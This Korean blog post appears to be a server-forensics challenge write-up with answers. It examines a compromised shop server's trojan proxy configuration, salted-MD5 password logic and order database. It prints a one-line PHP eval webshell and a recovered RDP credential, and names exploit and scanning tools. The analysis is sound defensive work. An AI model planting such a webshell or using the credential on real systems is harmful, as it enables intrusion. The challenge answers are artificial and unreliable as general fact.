서버 포렌식 분석: 시스템 및 웹 서비스 정보 추출

최초 시스템 부팅 시각

시스템의 최초 부팅 시각을 확인하는 작업은 디지털 포렌식에서 중요한 단계입니다. 가상 머신 디스크 이미지(VMDK)를 포렌식 분석 도구(예: FireEye)에 로드한 후, 운영체제의 시스템 로그(예: 이벤트 로그 또는 저널)를 검토하여 최초 전원 켜짐 기록을 식별할 수 있습니다.

2022/02/23 12:23:49

서버 운영체제 커널 버전

서버 운영체제의 커널 버전은 시스템 정보 파악에 필수적입니다. 포렌식 도구를 통해 시스템 정보를 직접 조회하거나, 부팅된 시스템에서 명령어를 사용하여 확인할 수 있습니다.

3.10.0-1160.119.1.el7.x86_64

시스템 사용자 외 일반 사용자 계정 수

서버 내의 사용자 계정 중 시스템 기본 계정을 제외한 일반 사용자 계정의 수를 파악합니다. 이는 비정상적인 계정 생성 여부를 판단하는 데 도움이 됩니다.

3개

트로이 목마 서버의 난독화 도메인

분석 대상 서버에서 발견된 트로이 목마(Trojan) 서버가 난독화된 트래픽을 위해 사용한 도메인 정보를 조사했습니다. 일반적으로 트로이 목마는 합법적인 서비스로 위장하기 위해 설정 파일 내에 원격 서버 주소를 명시합니다. 다음은 관련 설정 파일의 예시입니다.

{
    "execution_mode": "proxy",
    "bind_address": "127.0.0.1",
    "listen_port": 10086,
    "proxy_host": "securehost.net",
    "proxy_port": 443,
    "auth_keys": [
        "secret_key_1",
        "secret_key_2"
    ],
    "log_level": 2,
    "ssl_settings": {
        "verify_cert": true,
        "hostname_check": true,
        "client_cert_path": "",
        "cipher_suites": "TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256",
        "sni_hostname": "",
        "protocol_alpn": ["h2", "http/1.1"],
        "session_reuse": true
    },
    "tcp_options": {
        "nodelay": true,
        "keep_alive_enabled": true,
        "reuse_port_enabled": false,
        "fast_open_enabled": false
    }
}
securehost.net

트로이 목마 서비스 운영 모드

트로이 목마 서비스의 운영 모드는 설정 파일에 명시되어 있지 않은 경우, 배포된 예제 파일들을 통해 추론할 수 있습니다. 예를 들어, 특정 설정 파일이 'you guess'와 같은 불명확한 값을 가질 때, 서비스 배포 키트에 포함된 'example' 디렉터리의 구성 파일들을 비교하여 가장 유사한 모드를 식별합니다. 본 분석에서는 'nat' 모드가 가장 유사한 구조를 가졌습니다.

B

proxy_hostproxy_port의 역할

트로이 목마 서버 설정 파일에 명시된 'proxy_host' (원문 'remote_addr')와 'proxy_port' (원문 'remote_port')는 트래픽을 외부 인터넷 서버로 프록시 전달하는 역할을 합니다. 이는 악성 트래픽을 일반적인 웹 트래픽으로 위장하여 방화벽이나 네트워크 보안 장비를 우회하기 위한 기법으로 사용됩니다.

A. 프록시 트래픽을 외부 인터넷 서버로 전달

웹 백엔드 로그인 비밀번호 암호화 로직

웹 사이트 백엔드 로그인 비밀번호의 암호화 로직을 분석하기 위해 웹 서버의 루트 디렉터리(예: /var/www/html/myshop.com/)를 탐색했습니다. 일반적으로 암호화 로직은 application 또는 includes와 같은 핵심 디렉터리 내의 유틸리티 파일에 존재합니다. 이 경우, application/utils.php 파일에서 비밀번호 해싱 함수를 발견했습니다.

<?php
// utils.php 파일 내 암호화 함수
function generateHash(string $inputString): string {
    // 설정 파일에서 비밀 키(salt) 로드
    $secretKey = Configuration::get('APP_SECRET_KEY'); 
    return md5($secretKey . $inputString);
}
?>

이 암호화 방식은 '고정 솔트(Salt) + MD5 해싱' 조합을 사용합니다. PHP의 내장 md5() 함수를 사용하여 솔트와 입력 문자열을 결합한 후 32자리 소문자 해시 값을 생성합니다. 솔트 값은 config/app.php 파일에서 APP_SECRET_KEY라는 이름으로 정의되어 있었습니다.

$ grep -rni "APP_SECRET_KEY" ./config
config/app.php:120:    'APP_SECRET_KEY' => "MYSHOP_SECRET", // 설치 후 변경 금지

확인된 솔트 값은 "MYSHOP_SECRET"이며, "sbwyz1" 비밀번호에 적용하면 다음과 같은 해시 값이 생성됩니다.

f8537858eb0eabada34e7021d19974ea

웹 백엔드 GD 버전

웹 사이트 백엔드에서 사용하는 GD 라이브러리 버전을 확인했습니다. GD 라이브러리는 PHP에서 이미지 처리 기능을 제공하는 핵심 확장 모듈로, 웹 애플리케이션의 이미지 업로드, 썸네일 생성 등 다양한 그래픽 관련 작업에 사용됩니다. 다음 명령어를 통해 GD 버전을 직접 조회할 수 있습니다.

$ php -i | grep -A 5 "gd" | grep "GD Version"
bundled (2.1.0 compatible)

특정 기간 내 주문 기록 수

특정 기간 내의 주문 기록 수를 확인하기 위해 웹 애플리케이션의 데이터베이스를 분석했습니다. 데이터베이스 덤프 파일을 포렌식 워크스테이션으로 가져와(예: Navicat 또는 MySQL Workbench 사용) 주문 테이블(app_orders)을 쿼리했습니다. 주문 기록이 많은 경우, 정확한 검색을 위해 시간 범위를 지정하는 SQL 쿼리가 필요합니다.

SELECT 
    COUNT(order_id) AS total_orders
FROM 
    app_orders
WHERE 
    FROM_UNIXTIME(order_timestamp) >= '2016-04-01 00:00:00' 
    AND FROM_UNIXTIME(order_timestamp) < '2025-04-01 00:00:00';
1292

로컬 환경에서 웹 서비스 재구축

웹 서비스 재구축 및 접근 과정에서 로컬 환경에서의 도메인 이름 해석을 위해 hosts 파일 설정이 필요했습니다. 이는 웹 애플리케이션이 특정 도메인을 통해 접근하도록 구성되어 있을 때, 로컬 IP 주소로 해당 도메인을 매핑하여 DNS 조회 없이 접근할 수 있도록 합니다. 예를 들어, 192.168.76.135 myshop.com과 같이 hosts 파일을 수정하여 가상 머신 내 웹 서비스에 접근했습니다.

데이터베이스 손상 또는 호환성 문제로 인해 웹 서비스가 정상적으로 작동하지 않을 수 있습니다. 이 경우, 새로운 데이터베이스를 생성하고 기존 덤프 파일을 임포트하여 데이터베이스를 재구성해야 합니다. 관리자 패널에 접근하기 위해 비밀번호를 직접 재설정해야 하는 상황도 발생할 수 있습니다. 이는 데이터베이스에 저장된 암호화된 비밀번호 필드를 새로운 해시 값으로 업데이트하는 방식으로 수행됩니다.

면제 배송 기준 금액

웹 사이트의 관리자 패널에 로그인하여 '시스템 설정' > '상점 정책' > '배송 설정' 메뉴에서 면제 배송 기준 금액을 확인했습니다.

100000

웹쉘 업로드 공격자 IP

웹 서버 로그 분석을 통해 웹쉘이 업로드된 시점의 공격자 IP 주소를 식별했습니다. 웹 애플리케이션의 루트 디렉터리(예: /var/www/html/myshop.com/)에서 shell.php와 같은 의심스러운 PHP 파일이 발견되었습니다. 이 파일은 다음과 같은 간단한 웹쉘 코드였습니다.

<?php
// shell.php
eval($_REQUEST['cmd']);
?>

이러한 웹쉘은 eval() 함수를 통해 전송된 명령을 실행할 수 있습니다. 웹 서버의 접근 로그(예: /var/log/nginx/access.log)에서 해당 웹쉘 파일에 대한 접근 기록을 검색하여 공격에 사용된 IP 주소를 찾을 수 있습니다.

$ grep -i "shell.php" /var/log/nginx/access.log
222.2.2.2

웹쉘 파일의 SHA256 값

업로드된 웹쉘 파일(shell.php)의 SHA256 해시 값을 계산하여 파일의 무결성을 확인하고, 알려진 악성 코드 데이터베이스와 비교할 수 있습니다.

$ sha256sum /var/www/html/myshop.com/shell.php
870BF66B4314A5567BD92142353189643B07963201076C5FC98150EF34CBC7CF

RDP 스캔 결과 계정 정보

공격자가 내부에 대한 스캔을 수행한 흔적을 조사했습니다. 서버 내에서 PwnKit-Exploit-main 또는 goon2_scanner_lin과 같은 공격 도구 및 스캐닝 도구의 잔여물을 발견했습니다. 이러한 도구들은 일반적으로 스캔 결과를 특정 파일에 저장합니다. 이 경우, scan_results.txt 파일에서 RDP 스캔 결과로 추정되는 계정 정보를 발견했습니다.

administrator:Aa123456@

가장 짧은 사용자 등록-첫 주문 간격

사용자의 등록 시간(사용자 테이블의 registration_time)과 첫 주문 시간(주문 테이블의 order_timestamp) 사이의 간격을 계산하여, 해당 간격이 가장 짧은 사용자 ID를 식별했습니다.

SELECT 
    user_id_alias AS user_id,
    IF(reg_timestamp_alias IS NULL, 9999999, min_order_timestamp_alias - reg_timestamp_alias) AS interval_seconds
FROM (
    SELECT 
        o.user_id AS user_id_alias, 
        MIN(o.order_timestamp) AS min_order_timestamp_alias, 
        u.registration_time AS reg_timestamp_alias
    FROM 
        app_orders o
    LEFT JOIN 
        app_users u ON u.user_id = o.user_id
    GROUP BY 
        o.user_id
) AS user_order_times
ORDER BY 
    interval_seconds 
LIMIT 1;
385

월별 최다 주문 발생 월

월별 주문량을 집계하여 가장 많은 주문이 발생한 달을 찾아냈습니다. 이는 데이터베이스의 app_orders 테이블을 기준으로 order_timestamp 컬럼을 사용하여 월별 그룹화를 수행했습니다.

SELECT 
    DATE_FORMAT(FROM_UNIXTIME(order_timestamp), '%Y년 %m월') AS order_month,
    COUNT(order_id) AS monthly_order_count
FROM
    app_orders 
GROUP BY
    order_month 
ORDER BY
    monthly_order_count DESC 
LIMIT 1;
2016년 12월

연속 3일 이상 주문한 사용자 수

연속 3일 동안 주문을 한 사용자를 식별하고 그 수를 계산했습니다. 이 분석은 app_orders 테이블에서 사용자 ID와 주문 날짜를 추출한 후, 연속적인 주문 패턴을 탐지하기 위한 복잡한 SQL 쿼리를 활용합니다.

SELECT DISTINCT user_id
FROM (
    SELECT 
        user_id,
        order_date,
        @row_num := IF(@prev_user_id = user_id AND DATEDIFF(order_date, @prev_date) = 1, @row_num + 1, 1) AS consecutive_days_rank,
        @prev_user_id := user_id,
        @prev_date := order_date
    FROM (
        SELECT DISTINCT user_id, DATE(FROM_UNIXTIME(order_timestamp)) AS order_date
        FROM app_orders
        ORDER BY user_id, order_date
    ) AS daily_orders,
    (SELECT @prev_user_id := 0, @prev_date := '1900-01-01', @row_num := 0) AS init_vars
) AS ranked_orders
WHERE consecutive_days_rank >= 3;
1

태그: Server Forensics Digital Forensics Web Application Forensics Trojan Analysis Webshell

7월 11일 21:27에 게시됨